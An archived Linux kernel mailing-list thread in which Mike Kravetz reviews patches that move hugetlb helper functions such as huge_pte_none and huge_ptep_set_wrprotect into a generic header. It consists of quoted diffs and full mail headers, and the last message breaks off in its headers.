>  }
>  
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>  static inline pte_t huge_pte_wrprotect(pte_t pte)
>  {
>  	return pte_wrprotect(pte);
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 7df1f116a3cc..1c9c4531376c 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -55,6 +55,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  	flush_tlb_page(vma, addr & huge_page_mask(hstate_vma(vma)));
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTE_NONE
>  static inline int huge_pte_none(pte_t pte)
>  {
>  	unsigned long val = pte_val(pte) & ~_PAGE_GLOBAL;
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 9afff26747a1..c09d8c74553c 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>  static inline pte_t huge_pte_wrprotect(pte_t pte)
>  {
>  	return pte_wrprotect(pte);
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 0b02856aa85b..3562d46585ba 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  	flush_hugetlb_page(vma, addr);
>  }
>  
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>  static inline pte_t huge_pte_wrprotect(pte_t pte)
>  {
>  	return pte_wrprotect(pte);
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index 9abf9c86b769..a9f8266f33cf 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>  static inline pte_t huge_pte_wrprotect(pte_t pte)
>  {
>  	return pte_wrprotect(pte);
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 651a9593fcee..11115bbd712e 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>  static inline pte_t huge_pte_wrprotect(pte_t pte)
>  {
>  	return pte_wrprotect(pte);
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 8347d5abf882..c5fdc53b6e41 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -27,11 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>  static inline pte_t huge_pte_wrprotect(pte_t pte)
>  {
>  	return pte_wrprotect(pte);
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index ffa63fd8388d..2fc3d68424e9 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -73,4 +73,11 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGE_PTE_NONE
> +static inline int huge_pte_none(pte_t pte)
> +{
> +	return pte_none(pte);
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 


From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 09/11] hugetlb: Introduce generic version of
 huge_ptep_set_wrprotect
Date: Thu, 26 Jul 2018 12:10:49 -0700
Lines: 227
Approved: news@gmane.org
Message-ID: <2265de04-4e0e-9d7e-d460-cc9287b9d606@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-10-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532632187 20202 195.159.176.226 (26 Jul 2018 19:09:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:09:47 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 21:09:40 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fildq-00053z-TY
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 21:09:39 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=ObI1BsbbrWd84axVQ3Oe94ecBS8RefRpg5uDlc0nttM=; b=ANI3VQJs7Y4am3eLCd48VZnfaC
	TYyuwdzwPq/wMLwezTV97EKyqNLeG0hyME0NQqQWWLwLKer5FhcdXV6X25/rSgP/LFg2kxFIugrK3
	Vxv9cpGzgXBMTmijyz8iL/AgYn037jy6rhbT2rWt1tfiyu1cHRPyrsRreKQx5bcuZRnKNJlQJoTom
	n23P5svq4BLYU6Jkn8HdWwsJYqKhpDyyghpfzlr2sJzu72QXQsbkxU2RgFwmvNuBBrTWvxVkhwIzq
	zdEuGe7/4K3Kmm5BIDgVCttGCYn+t16LJNGiwzKDU23OPNTW99wbPUU+841FMiZ7bb8URYy1KB3vI
	VxsBqdYw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filfw-0005aR-6F; Thu, 26 Jul 2018 19:11:48 +0000
Original-Received: from userp2120.oracle.com ([156.151.31.85])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filfs-0005a5-5O
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 19:11:45 +0000
Original-Received: from pps.filterd (userp2120.oracle.com [127.0.0.1])
 by userp2120.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QJ4IpW105607;
 Thu, 26 Jul 2018 19:10:57 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=ThwKrb+lljbWoqu1BD+lOEyqJFH//Lc8c/4WdpX7W9M=;
 b=voRjIuiEu2bMw6dNgC32tSVD8eidAsQdnHeH5RXg2mpxkb9av1we4PBquJos+4mOGGg9
 sDW4213cepy8RSnva3xvz18BWTvAvLX3eXU4HWPQrm1JjnizsROH+fos/j0tQsVSQlP7
 Z8dt2efq9607TZIuZRdoSQZ/ZWCTje8OcQYSJ1fRg7z+CRWHlXmxiJ2BASd1AHv1gdVY
 sS/IerQyJBs42jxDJjcT+yBohrXZOARzlWzv7SwWN01WNfMglAND3I9paF0ENnJqob1K
 9EeFds3MdIUzZQMCaMZ9KPMXoSuRrJ9aAbXJy+qU3GvVb53mYR55UoTNnfSdPTOq+1WN vg== 
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
 by userp2120.oracle.com with ESMTP id 2kbwfq4ep4-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:10:57 +0000
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
 by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJAtdw008659
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:10:55 GMT
Original-Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19])
 by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJAq4o017707;
 Thu, 26 Jul 2018 19:10:53 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 12:10:52 -0700
In-Reply-To: <20180705110716.3919-10-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=933
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260195
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_121144_294683_C1D78B6A 
X-CRM114-Status: GOOD (  27.28  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [156.151.31.85 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666283 gmane.linux.kernel:2831692 gmane.linux.ports.ia64:28971 gmane.linux.ports.mips.general:65687 gmane.linux.ports.parisc:28833 gmane.linux.ports.ppc64.devel:160478 gmane.linux.ports.sh.devel:57268 gmane.linux.ports.sparc:28129 gmane.linux.kernel.cross-arch:45506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666283>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, ia64, mips, sh, x86 architectures use the same version
> of huge_ptep_set_wrprotect, so move this generic implementation into
> asm-generic/hugetlb.h.
> Note: powerpc uses twice for book3s/32 and nohash/32 the same version as
> the above architectures, but the modification was not straightforward
> and hence has not been done.
> 

Just one small comment, otehrwise
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb-3level.h        | 6 ------
>  arch/arm64/include/asm/hugetlb.h             | 1 +
>  arch/ia64/include/asm/hugetlb.h              | 6 ------
>  arch/mips/include/asm/hugetlb.h              | 6 ------
>  arch/parisc/include/asm/hugetlb.h            | 1 +
>  arch/powerpc/include/asm/book3s/32/pgtable.h | 2 ++
>  arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
>  arch/powerpc/include/asm/nohash/32/pgtable.h | 2 ++
>  arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +

As in patch 03, the book3s and nohash header files do not explicitly
include <asm-generic/hugetlb.h>.  With these, I had an even harder time
finding out who brought in that file.  This is not an issue with this
patch, just wish there was some easier way to check/prove include file
dependencies.  Since it compiles, I am sure it is OK.
-- 
Mike Kravetz

>  arch/sh/include/asm/hugetlb.h                | 6 ------
>  arch/sparc/include/asm/hugetlb.h             | 1 +
>  arch/x86/include/asm/hugetlb.h               | 6 ------
>  include/asm-generic/hugetlb.h                | 8 ++++++++
>  13 files changed, 17 insertions(+), 30 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index b897541520ef..8247cd6a2ac6 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>  	return retval;
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 3e7f6e69b28d..f4f69ae5466e 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>  extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  				     unsigned long addr, pte_t *ptep);
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  				    unsigned long addr, pte_t *ptep);
>  #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index cbe296271030..49d1f7949f3a 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 6ff2531cfb1d..3dcf5debf8c4 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
>  	return !val || (val == (unsigned long)invalid_pte_table);
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr,
>  					     pte_t *ptep, pte_t pte,
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index fb7e0fd858a3..9c3950ca2974 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep);
>  
> diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h b/arch/powerpc/include/asm/book3s/32/pgtable.h
> index 02f5acd7ccc4..d2cd1d0226e9 100644
> --- a/arch/powerpc/include/asm/book3s/32/pgtable.h
> +++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
> @@ -228,6 +228,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>  {
>  	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
>  }
> +
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h b/arch/powerpc/include/asm/book3s/64/pgtable.h
> index 42aafba7a308..7d957f7c47cd 100644
> --- a/arch/powerpc/include/asm/book3s/64/pgtable.h
> +++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
> @@ -451,6 +451,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>  		pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h b/arch/powerpc/include/asm/nohash/32/pgtable.h
> index 7c46a98cc7f4..f39e200d9591 100644
> --- a/arch/powerpc/include/asm/nohash/32/pgtable.h
> +++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
> @@ -249,6 +249,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>  {
>  	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
>  }
> +
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h b/arch/powerpc/include/asm/nohash/64/pgtable.h
> index dd0c7236208f..69fbf7e9b4db 100644
> --- a/arch/powerpc/include/asm/nohash/64/pgtable.h
> +++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
> @@ -238,6 +238,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>  	pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index f1bbd255ee43..8df4004977b9 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 2101ea217f33..c41754a113f3 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 2e5117d37c7d..de370836a17d 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -12,12 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 6c0c8b0c71e0..9b9039845278 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct file *file,
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
> +static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> +		unsigned long addr, pte_t *ptep)
> +{
> +	ptep_set_wrprotect(mm, addr, ptep);
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 10/11] hugetlb: Introduce generic version of
 huge_ptep_set_access_flags
Date: Thu, 26 Jul 2018 12:12:35 -0700
Lines: 173
Approved: news@gmane.org
Message-ID: <ff7be1ec-be87-1691-93d4-8c055b93d054@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-11-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532632290 27422 195.159.176.226 (26 Jul 2018 19:11:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:11:30 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 21:11:23 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filfX-0006zf-GO
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 21:11:23 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=qulShzdlqSkdTeqMPSVsU/F4ayjziTnCAagRRbHm8pc=; b=uzSEKdnqnw4p6rKesNacOk7xV+
	/78L+8uySculDEnmqRKeGpo7ZZf1lRIjnVUVU/x4wXLZMnqzOn/c3D0xlGozZFN2ALhq2EH7mZOr9
	tKw8yzk7cAgVEZntRnnzcpOQ6jaEj4b//6RXF0N9umKyYrgoZZUK9yqwiWRc5QRXDeFrsqodao8t8
	2QjAraZWWUzXm8f9BcDD23ijI6fuspBg++Z6cnxUXx4aWKaHfWtqmUJHYAMaoDDgVQ68JgzHQtzyv
	Y0Y7Wxp1M8smha2yZ5qBFKyruGVJlHelhk/VxRez3FVM//9b5wQ6SkGah7aMKRNxLfAZh0E6qiJDv
	Fc9LjmHg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filhc-0005vL-W3; Thu, 26 Jul 2018 19:13:33 +0000
Original-Received: from aserp2130.oracle.com ([141.146.126.79])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filhZ-0005uY-2e
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 19:13:30 +0000
Original-Received: from pps.filterd (aserp2130.oracle.com [127.0.0.1])
 by aserp2130.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QJBUV6137109;
 Thu, 26 Jul 2018 19:12:40 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=wQQk0mpr625mfR8WiZSKVICv2kjWoNOcAHdaIiYlrlA=;
 b=4SzkTIymCbkW+mEYXyHuFcxaaU9gYWen1zNWtNdYoWBKjv/Bzlr5HoNaiQYwtpBU+6Ev
 cEFd+5UKLMzPeepCjHdfbaXRNIMbDlWzClDB3tORgZxMBTjaOXXq6t8ZoF8hYqN2R5aI
 muxiP20v7SXJI5nusF4uWI2MWajFUwzXiwfbqutfdjDqiaAKzV9jit7QRG3mnZVQlZMZ
 LBtLAGTurigkVNSYyv15VuaXQuKyDhKDO7VUy1V+1u9h2F/K2ltvC+bQunZXQ2/dpj75
 oZSutKx2V3gEdGc4AasNNYg/9Aq57TXvtFydRjgbS9b2YFboiQ9gnScYHhbhQ6M2rYNo NA== 
